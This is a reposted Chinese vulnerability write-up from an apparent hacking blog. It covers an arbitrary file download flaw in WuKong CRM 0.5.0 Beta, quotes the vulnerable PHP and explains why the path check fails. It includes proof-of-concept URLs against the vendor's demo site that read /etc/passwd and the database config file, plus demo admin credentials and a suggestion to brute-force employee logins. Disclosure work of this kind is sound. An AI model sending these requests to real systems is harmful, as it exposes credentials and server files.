记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华

悟空CRM任意文件下载漏洞(需登录)

2015-05-23 14:00

悟空CRM任意文件下载漏洞

悟空CRM 0.5.0 Beta版
 


\app\Lib\Action\FileAction.class.php 163行
public function filedownload(){
$path = trim(urldecode($_GET['path']));
$name = substr(trim(urldecode($_GET['name'])),0,-4);
if($path && $name)download($path,$name);
else $this->error('非法操作!');
}

$_GET['path']和$_GET['name']未过滤后调用download函数,跟踪查看函数代码。
 


\app\Common\common.php1204行
function download($file,$name=''){
$fileName = $name ? $name : pathinfo($file,PATHINFO_FILENAME);
$filePath = realpath($file);

$fp = fopen($filePath,'rb');

if(!$filePath || !$fp){
header('HTTP/1.1 404 Not Found');
echo "Error: 404 Not Found.(server file path error){C}{C}{C}{C}{C}{C}{C}{C}{C}{C}{C}{C}{C}{C}{C}{C}{C}{C}{C}{C}{C}{C}{C}{C}{C}{C}{C}{C}";
exit;
}

$fileName = $fileName .'.'. pathinfo($filePath,PATHINFO_EXTENSION);
$encoded_filename = urlencode($fileName);
$encoded_filename = str_replace("+", "%20", $encoded_filename);

header('HTTP/1.1 200 OK');
header( "Pragma: public" );
header( "Expires: 0" );
header("Content-type: application/octet-stream");
header("Content-Length: ".filesize($filePath));
header("Accept-Ranges: bytes");
header("Accept-Length: ".filesize($filePath));

$ua = $_SERVER["HTTP_USER_AGENT"];
if (preg_match("/MSIE/", $ua)) {
header('Content-Disposition: attachment; filename="' . $encoded_filename . '"');
} else if (preg_match("/Firefox/", $ua)) {
header('Content-Disposition: attachment; filename*="utf8\'\'' . $fileName . '"');
} else {
header('Content-Disposition: attachment; filename="' . $fileName . '"');
}

// ob_end_clean(); <--有些情况可能需要调用此函数
// 输出文件内容
fpassthru($fp);
exit;
}


$filePath = realpath($file);做了路径过滤,不准出现../来绕过路径限制,但是紧接着执行$fp = fopen($filePath,'rb');就使得过滤毫无作用。因为可以传递一个绝对路径,直接造成任意文件遍历。

可以看到参数传递过程是这样的,$_GET['path'] -> $file -> $filePath ->fopen($filePath,'rb')


拿官网提供的示例页面证明:

http://crm.demo.5kcrm.com

账号:admin 密码:123456a 登陆。

(CRM系统只有登陆界面在未登录状态可访问,所以本漏洞至少需要一个普通权限账号才可验证,由于员工账号安全性较低,可通过爆破或社工手段获得)



登陆后打开:http://crm.demo.5kcrm.com/index.php?m=file&a=filedownload&path=/etc/passwd&name=test.test
 

1.jpg





http://crm.demo.5kcrm.com/index.php?m=file&a=filedownload&path=./App/Conf/db.php&name=test.test
 

2.jpg

 

解决方案:

过滤
 

知识来源: www.2cto.com/Article/201505/401360.html

阅读:98868 | 评论:0 | 标签:漏洞

想收藏或者和大家分享这篇好文章→复制链接地址

“悟空CRM任意文件下载漏洞(需登录)”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

公告

关注公众号hackdig,学习最新黑客技术

推广

工具

标签云